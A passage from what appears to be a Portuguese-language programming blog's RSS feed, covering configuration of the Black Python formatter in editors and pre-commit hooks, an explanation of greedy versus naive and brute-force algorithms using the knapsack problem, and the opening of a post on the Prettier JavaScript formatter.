2 files reformatted, 4 files left unchanged.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Não estranhe se a simpática fatia de bolo acima abrir o seu apetite.&lt;/p&gt;
&lt;p&gt;Customizações, embora possam ser chamadas através de parâmetros de linha de comando, também podem ser armazenadas no &lt;code class=&quot;language-text&quot;&gt;pyproject.toml&lt;/code&gt; do seu projeto, como ilustra a &lt;a href=&quot;https://github.com/ambv/black#pyprojecttoml&quot; title=&quot;Leia mais na documentação do Black&quot;&gt;documentação oficial&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;No editor&lt;/h2&gt;
&lt;p&gt;Mas o melhor mesmo é ter o &lt;em&gt;Black&lt;/em&gt; disponível no seu editor, deixando-o trabalhar em tempo de escrita de código.&lt;/p&gt;
&lt;p&gt;Há uma vasta opção de &lt;a href=&quot;https://github.com/ambv/black#editor-integration&quot; title=&quot;Editor integration&quot;&gt;editores que suportam o &lt;em&gt;Black&lt;/em&gt;&lt;/a&gt;. Para o &lt;a href=&quot;/tag/vim.html&quot; title=&quot;Leia mais sobre o Vim&quot;&gt;&lt;em&gt;Vim&lt;/em&gt;&lt;/a&gt;, continuo com a opinião do artigo &lt;a href=&quot;/2017/10/15/vim-para-desenvolvimento-python.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;Vim para desenvolvimento Python&quot;&lt;/a&gt; e recomendo a utilização do &lt;a href=&quot;https://github.com/w0rp/ale&quot; title=&quot;Asynchronous Lint Engine for Vim&quot;&gt;&lt;em&gt;ALE&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;w0rp/ale&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;pip install black&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;call&lt;/span&gt; plug#&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fix_on_save &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;ale_fixers &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
\   &lt;span class=&quot;token string&quot;&gt;&apos;python&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;black&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;remove_trailing_lines&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
\       &lt;span class=&quot;token string&quot;&gt;&apos;trim_whitespace&apos;&lt;/span&gt;
\   &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
\&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Já para o &lt;a href=&quot;/tag/vscode.html&quot; title=&quot;Leia mais sobre VS Code&quot;&gt;&lt;em&gt;VS Code&lt;/em&gt;&lt;/a&gt;, com o &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-python.python&quot; title=&quot;Python extension for Visual Studio Code&quot;&gt;&lt;em&gt;plugin&lt;/em&gt; oficial para &lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, podemos configurá-lo como ferramenta de &lt;em&gt;formatting&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.formatting.blackPath&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;black&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;python.formatting.provider&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;black&quot;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Em todo lugar&lt;/h2&gt;
&lt;p&gt;Outra opção que deveria ser adotada, independente da utilização do &lt;em&gt;Black&lt;/em&gt; no editor, é o uso de &lt;em&gt;commit hooks&lt;/em&gt; para formatar arquivos alterados controlados via &lt;em&gt;git&lt;/em&gt;. Volto a recomendar o &lt;a href=&quot;https://pre-commit.com/&quot; title=&quot;A framework for managing and maintaining multi-language pre-commit hooks&quot;&gt;&lt;em&gt;pre-commit&lt;/em&gt;&lt;/a&gt; como ferramenta, e a boa notícia é que existe um &lt;em&gt;hook&lt;/em&gt; com &lt;em&gt;Black&lt;/em&gt; configurado e prontinho para uso:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;repos&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;repo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//github.com/ambv/black
&lt;span class=&quot;token key atrule&quot;&gt;rev&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; stable
&lt;span class=&quot;token key atrule&quot;&gt;hooks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; black
    &lt;span class=&quot;token key atrule&quot;&gt;language_version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; python3.7&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;É impressionante a quantidade de tempo e atrito que economizamos quando adotamos uma ferramenta como &lt;em&gt;Black&lt;/em&gt; ou &lt;em&gt;yapf&lt;/em&gt;. Discussões relacionadas a &lt;em&gt;style guide&lt;/em&gt; praticamente inexistem, e os &lt;em&gt;code reviews&lt;/em&gt; são mais focados no problema e na qualidade do código, do que com convenções.&lt;/p&gt;
&lt;p&gt;Já tive experiências ruins com &lt;em&gt;formatters&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;, é verdade. Nem todo time ou projeto se adapta bem com esse tipo de &quot;ferramenta impositiva&quot;, e embora os pontos positivos sejam óbvios, é na prática que você verá os negativos. Mas não me vejo mais deixando de ter esse tipo de auxílio enquanto escrevo código.&lt;/p&gt;
&lt;p&gt;É também uma forma de pensarmos na experiência dos outros desenvolvedores, que se juntarão ao projeto durante o seu ciclo de vida.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://black.readthedocs.io/en/stable/&quot;&gt;Black - The uncompromising code formatter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mattlayman.com/blog/2018/python-code-black/&quot;&gt;Matt Leyman - Consistent Python code with Black&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://code.visualstudio.com/docs/python/editing#_formatting&quot;&gt;Visual Studio Code - Editing Python code in VS Code&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Os greedy algorithms]]></title><description><![CDATA[Quando estive revisando a disciplina de algoritmos, me deparei com os tais "algoritmos gulosos", ou greedy algorithms. Lembro que na época…]]></description><link>https://klauslaube.com.br/2019/01/27/os-greedy-algorithms.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/01/27/os-greedy-algorithms.html</guid><pubDate>Sun, 27 Jan 2019 15:28:00 GMT</pubDate><content:encoded>&lt;p&gt;Quando estive revisando a disciplina de &lt;a href=&quot;/tag/algoritmos.html&quot; title=&quot;Leia mais sobre Algoritmos&quot;&gt;algoritmos&lt;/a&gt;, me deparei com os tais &quot;algoritmos gulosos&quot;, ou &lt;em&gt;greedy algorithms&lt;/em&gt;. Lembro que na época eu automaticamente associei o termo a soluções de baixa utilidade ou performance. Mal sabia eu que estive equivocado esse tempo todo.&lt;/p&gt;
&lt;p&gt;Os &lt;em&gt;greedy algorithms&lt;/em&gt; são fundamentais nos estudos de algoritmos e otimizações, não à toa o mundo acadêmico faz questão de mencioná-los em uma variedade de cursos de algoritmos ou de computação. Mas algumas definições podem passar uma ideia equivocada sobre o que eles realmente são, e do que são capazes.&lt;/p&gt;
&lt;h2&gt;Definição&lt;/h2&gt;
&lt;p&gt;Embora a &lt;em&gt;Wikipedia&lt;/em&gt; possua uma definição interessante sobre o assunto, foi no &lt;em&gt;GeeksforGeeks&lt;/em&gt; que &lt;a href=&quot;https://www.geeksforgeeks.org/greedy-algorithms/&quot; title=&quot;Greedy Algorithms&quot;&gt;encontrei uma passagem bem esclarecedora&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Greedy is an algorithmic paradigm that builds up a solution piece by piece, always choosing the next piece that offers the most obvious and immediate benefit. So the problems where choosing locally optimal also leads to global solution are best fit for Greedy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O &lt;em&gt;Paulo Feofiloff&lt;/em&gt; vai além em &lt;a href=&quot;https://www.ime.usp.br/~pf/analise_de_algoritmos/aulas/guloso.html&quot; title=&quot;USP - Algoritmos gulosos&quot;&gt;&quot;Algoritmos gulosos&quot;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Para resolver um problema, um algoritmo guloso escolhe, em cada iteração, o objeto mais apetitoso que vê pela frente. (...) Um algoritmo guloso é míope: ele toma decisões com base nas informações disponíveis na iteração corrente, sem olhar as consequências que essas decisões terão no futuro. Um algoritmo guloso jamais se arrepende ou volta atrás: as escolhas que faz em cada iteração são definitivas.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A estratégia gulosa tem por abordagem encontrar a melhor resposta para cada passo, sem se importar em resolver esse passo novamente ou com os passos seguintes, esperando como consequência um resultado global ótimo. Acabamos por ter algoritmos mais simples e intuitivos em grande parte dos casos, mas não necessariamente apresentando a melhor resposta.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 750px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/1e0c9882d38789417728440a6de772b3/acb04/greedy-boo.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAIEAwX/xAAWAQEBAQAAAAAAAAAAAAAAAAADAgT/2gAMAwEAAhADEAAAAUq1Q65xaay//8QAGhABAAIDAQAAAAAAAAAAAAAAAQASAgMhIv/aAAgBAQABBQLDH1sCvJUsBNgD/8QAGREAAwADAAAAAAAAAAAAAAAAAAECERNh/9oACAEDAQE/AZhJYNHT/8QAGhEAAQUBAAAAAAAAAAAAAAAAAAECAwQicf/aAAgBAgEBPwF9jXBJD//EABoQAQACAwEAAAAAAAAAAAAAAAEAERASITH/2gAIAQEABj8CLlpjauxIUHk//8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERITFBYVH/2gAIAQEAAT8hW9VlS68LYHxFKSZBTiRCILg//9oADAMBAAIAAwAAABAwP//EABcRAQEBAQAAAAAAAAAAAAAAAAEAQVH/2gAIAQMBAT8QX9Scn//EABgRAAMBAQAAAAAAAAAAAAAAAAABEUGx/9oACAECAQE/EHU5jpRWH//EABwQAQEBAAMAAwAAAAAAAAAAAAERACFBUTFhgf/aAAgBAQABPxAHMb4e/rATBEPPWqKgLwLqsvwhlMq4PNtuGKBCPXf/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Imagem do Majin Boo, personagem de Dragon Ball Z&amp;quot;&quot;
        title=&quot;Algoritmos gulosos são como o Maijin Boo. Gulosos em essência, mas nem por isso não eficazes (tvovermind.com)&quot;
        src=&quot;/static/1e0c9882d38789417728440a6de772b3/acb04/greedy-boo.jpg&quot;
        srcset=&quot;/static/1e0c9882d38789417728440a6de772b3/7809d/greedy-boo.jpg 192w,
/static/1e0c9882d38789417728440a6de772b3/4ecad/greedy-boo.jpg 384w,
/static/1e0c9882d38789417728440a6de772b3/acb04/greedy-boo.jpg 750w&quot;
        sizes=&quot;(max-width: 750px) 100vw, 750px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Algoritmos gulosos são como o Maijin Boo. Gulosos em essência, mas nem por isso não eficazes (tvovermind.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;As propriedades desse paradigma podem lembrar outras formas de escrever algoritmos, portanto, é importante saber diferenciá-lo.&lt;/p&gt;
&lt;h3&gt;Greedy não é brute-force&lt;/h3&gt;
&lt;p&gt;É bom deixar claro que um algoritmo guloso não é um algoritmo de força bruta:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Greedy&lt;/em&gt; significa que o algoritmo, a cada passo, seleciona a melhor opção para aquele passo;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Brute-force&lt;/em&gt; significa que o algoritmo seleciona uma opção de uma maneira mais simples, óbvia ou direta. E que repete essa tentativa até encontrar o resultado esperado.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Greedy não é naive&lt;/h3&gt;
&lt;p&gt;Essa talvez tenha sido a origem da minha confusão. &lt;em&gt;Naive algorithms&lt;/em&gt; são de certa forma o primeiro passo para quando você está tentando resolver um problema complexo: Primeiro faça funcionar, depois faça melhor.&lt;/p&gt;
&lt;p&gt;Em uma abordagem &lt;em&gt;naive&lt;/em&gt;, não estamos necessariamente tentando resolver cada passo com a melhor opção possível, e sim tentando resolver o todo de maneira ingênua, sem nenhuma estrutura de dados rebuscada ou cálculo preparatório, e sem se preocupar com a performance do algoritmo em si.&lt;/p&gt;
&lt;h3&gt;Naive vs. Brute-force vs. Greedy&lt;/h3&gt;
&lt;p&gt;Uma maneira mais interessante de compreender como escrevemos um algoritmo com essas diferentes práticas é através do &lt;a href=&quot;https://en.wikipedia.org/wiki/Knapsack_problem&quot; title=&quot;Leia o artigo na Wikipedia&quot;&gt;&lt;em&gt;Knapsack Problem&lt;/em&gt;&lt;/a&gt;. Nesse famoso problema temos um conjunto de itens, cada qual com seu determinado &lt;code class=&quot;language-text&quot;&gt;peso&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;valor&lt;/code&gt;, e temos por desafio colocar o maior valor possível dentro de uma mochila com um determinado limite de peso.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Um exemplo do método &lt;em&gt;naive&lt;/em&gt; seria pegarmos os itens mais leves e colocarmos na bolsa até não haver mais espaço;&lt;/li&gt;
&lt;li&gt;Com &lt;em&gt;brute-force&lt;/em&gt;, testaríamos todas as combinações de itens até chegar ao valor máximo para o limite de peso da bolsa;&lt;/li&gt;
&lt;li&gt;Já com o paradigma &lt;em&gt;greedy&lt;/em&gt;, por intuição, pegaríamos primeiro os itens mais valiosos, até atingirmos o peso total da bolsa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Todas as três formas chegam a um resultado. É possível afirmar que a primeira e última opção terão performance semelhantes, mas não necessariamente chegarão a um resultado ótimo. Encontrar o melhor resultado através da forma bruta, nesse problema, não é a melhor solução.&lt;/p&gt;
&lt;h2&gt;Qual o melhor uso de greedy algorithms?&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;em&gt;Brilliant.org&lt;/em&gt;, se as propriedades abaixo forem verdadeiras, pode-se aplicar a abordagem &lt;em&gt;greedy&lt;/em&gt; para resolução do problema:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uma solução global ótima pode ser atingida ao escolher a opção ótima de cada passo;&lt;/li&gt;
&lt;li&gt;Um problema tem uma subestrutura ótima se uma solução ótima para o problema global conter as soluções ótimas para os sub-problemas.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Em outras palavras:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) greedy algorithms work on problems for which it is true that, at every step, there is a choice that is optimal for the problem up to that step, and after the last step, the algorithm produces the optimal solution of the complete problem.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Algoritmos como &lt;a href=&quot;https://brilliant.org/wiki/huffman-encoding/&quot; title=&quot;Leia mais no Brilliant&quot;&gt;&lt;em&gt;Huffman Code&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://brilliant.org/wiki/dijkstras-short-path-finder/&quot; title=&quot;Leia mais no Brilliant&quot;&gt;&lt;em&gt;Dijkstra&apos;s Shortest Path&lt;/em&gt;&lt;/a&gt; são &lt;em&gt;greedy algorithms&lt;/em&gt; famosos que cumprem muito bem o seu papel. O &lt;em&gt;GeeksforGeeks&lt;/em&gt; lista &lt;a href=&quot;https://www.geeksforgeeks.org/greedy-algorithms/&quot; title=&quot;Leia mais no GeeksforGeeks&quot;&gt;uma porção de outros algoritmos e problemas que utilizam o paradigma com sucesso&lt;/a&gt;. Um muito comum em entrevistas de emprego é o &lt;a href=&quot;https://www.geeksforgeeks.org/minimum-swaps-bracket-balancing/&quot; title=&quot;Leia no GeeksforGeeks&quot;&gt;&lt;em&gt;Minimum Swaps for Bracket Balancing&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Compreendendo a diferença entre um &lt;em&gt;greedy&lt;/em&gt; e um &lt;em&gt;naive algorithm&lt;/em&gt;, fica mais fácil entender quando utilizar uma técnica ou outra. Uma abordagem ingênua funciona bem quando estamos começando a construir o algoritmo que solucionará um problema. De forma iterativa podemos melhorá-lo, até chegar aos valores de performance desejados.&lt;/p&gt;
&lt;p&gt;Uma abordagem &lt;em&gt;greedy&lt;/em&gt; pode trazer resultados satisfatórios para a sua solução, mas nem sempre trará o melhor resultado. Caso as propriedades listadas acima se apliquem ao algoritmo que você procura, sem dúvida nenhuma é uma técnica que, além de lhe ajudar a escrever um solução mais intuitiva, te trará os resultados esperados.&lt;/p&gt;
&lt;p&gt;Se você ficou curioso sobre como resolver o &lt;em&gt;Knapsack Problem&lt;/em&gt; de forma ótima, há a opção de utilizar &lt;em&gt;Dynamic Programming&lt;/em&gt;, outro paradigma que tem certa semelhança com &lt;em&gt;greedy algorithms&lt;/em&gt;, e que vamos falar sobre em outro &lt;em&gt;post&lt;/em&gt;. Uma alternativa mais simples e intuitiva (e &lt;em&gt;greedy&lt;/em&gt;) é criar uma terceira variável que armazene &lt;code class=&quot;language-text&quot;&gt;peso / valor&lt;/code&gt; e utilize esse valor no processo de ordenação (&lt;a href=&quot;https://github.com/kplaube/rosetta-lua/blob/master/rosetta/lib/knapsack.lua&quot; title=&quot;Veja a resolução do problema em Lua&quot;&gt;exemplo&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://brilliant.org/wiki/greedy-algorithm/&quot;&gt;Brilliant - Greedy algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://book.huihoo.com/data-structures-and-algorithms-with-object-oriented-design-patterns-in-c++/html/page441.html&quot;&gt;Data Structures and Algorithms with Object-Oriented Design Patterns in C++ - Brute-Force and Greedy Algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/greedy-algorithms/&quot;&gt;GeeksforGeeks - Greedy algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://smart--grid.net/cours-lessons-theory/algorithm/brute-force-naive-greedy-algorithm/&quot;&gt;Smart Grid - Brute Force/Naive/Greedy algorithm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/47238823/why-selection-sort-is-not-greedy&quot;&gt;Stackoverflow - Why selection sort is not greedy?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ime.usp.br/~pf/analise_de_algoritmos/aulas/guloso.html&quot;&gt;USP - Algoritmos gulosos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Greedy_algorithm&quot;&gt;Wikipedia - Greedy algorithm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Deixe darem pitaco no seu código com Prettier]]></title><description><![CDATA[Code formatters são uma boa ideia. Acredite! Demorei a dar o braço a torcer,
mas depois de alguns "Hello world" em Go
admito que a ideia de…]]></description><link>https://klauslaube.com.br/2019/01/12/deixe-darem-pitaco-no-seu-codigo-com-prettier.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/01/12/deixe-darem-pitaco-no-seu-codigo-com-prettier.html</guid><pubDate>Sat, 12 Jan 2019 10:55:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Code formatters&lt;/em&gt; são uma boa ideia. Acredite! Demorei a dar o braço a torcer,
mas depois de alguns &quot;Hello world&quot; em &lt;a href=&quot;https://golang.org/&quot; title=&quot;Leia mais sobre Golang&quot;&gt;&lt;em&gt;Go&lt;/em&gt;&lt;/a&gt;
admito que a ideia de ter um código bem formatado, sem necessitar da destreza do
programador para isso, é uma ideia excelente.&lt;/p&gt;
&lt;p&gt;Em &lt;em&gt;Go&lt;/em&gt; temos o &lt;code class=&quot;language-text&quot;&gt;go fmt&lt;/code&gt;, que
poupa um tempo absurdo tornando o seu código &quot;go-like&quot; com pouco esforço.
Já para &lt;a href=&quot;/tag/javascript.html&quot; title=&quot;Leia mais sobre Javascript&quot;&gt;&lt;em&gt;Javascript&lt;/em&gt;&lt;/a&gt;, temos o &lt;a href=&quot;https://prettier.io/&quot; title=&quot;Opiniated Code Formatter&quot;&gt;&lt;em&gt;Prettier&lt;/em&gt;&lt;/a&gt;.
E é sobre ele que falaremos nesse artigo.&lt;/p&gt;
&lt;h2&gt;Mais bonito&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Prettier&lt;/em&gt; é um &lt;em&gt;code formatter&lt;/em&gt; livre (&lt;a href=&quot;https://github.com/prettier/prettier/blob/master/LICENSE&quot; title=&quot;Leia o documento completo&quot;&gt;&lt;em&gt;MIT&lt;/em&gt;&lt;/a&gt;) e de código aberto, que tem por finalidade &quot;forçar&quot; um padrão de código. Ele realiza isso analisando o seu código e alterando-o de acordo com regras pré-definidas.&lt;/p&gt;
&lt;p&gt;Todos nós temos algum vício na forma como escrevemos nosso código. A ideia de ferramentas como o &lt;em&gt;Prettier&lt;/em&gt; é fazer com que todos os integrantes de um projeto tenham um estilo comum de escrita. Tornando a leitura do código consistente, não importando o seu autor (ou editor).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2f948d5b80c9977df2afe786c68ddade/c08c5/sam-elliot-prettier.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 60.9375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAQBAgMF/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAECA//aAAwDAQACEAMQAAAB583zjRcYBf/EABsQAAEEAwAAAAAAAAAAAAAAAAABAgMRMTIz/9oACAEBAAEFApN30Uo7ouD/xAAXEQEAAwAAAAAAAAAAAAAAAAAAAREx/9oACAEDAQE/AZ1T/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BV//EABgQAAIDAAAAAAAAAAAAAAAAABARAAIh/9oACAEBAAY/ApVYWP/EABwQAAICAgMAAAAAAAAAAAAAAAABESFBcTFRgf/aAAgBAQABPyFKaFnHZciwCz4K9hl7P//aAAwDAQACAAMAAAAQ1/8A/8QAFREBAQAAAAAAAAAAAAAAAAAAEDH/2gAIAQMBAT8Qsf/EABYRAAMAAAAAAAAAAAAAAAAAAAEQMf/aAAgBAgEBPxARP//EABsQAQACAwEBAAAAAAAAAAAAAAEAESExQWGR/9oACAEBAAE/EKvWHOVNQ7XsPYu5hAJp19gKBhVXyUGDqf/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Imagem do Sr. Bennet, personagem de The Ranch&amp;quot;&quot;
        title=&quot;Prettier é como trabalhar para o Sr. Bennett, de The Ranch. Na dúvida, você está errado (heighline)&quot;
        src=&quot;/static/2f948d5b80c9977df2afe786c68ddade/c08c5/sam-elliot-prettier.jpg&quot;
        srcset=&quot;/static/2f948d5b80c9977df2afe786c68ddade/7809d/sam-elliot-prettier.jpg 192w,
/static/2f948d5b80c9977df2afe786c68ddade/4ecad/sam-elliot-prettier.jpg 384w,
/static/2f948d5b80c9977df2afe786c68ddade/c08c5/sam-elliot-prettier.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Prettier é como trabalhar para o Sr. Bennett, de The Ranch. Na dúvida, você está errado (heighline)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
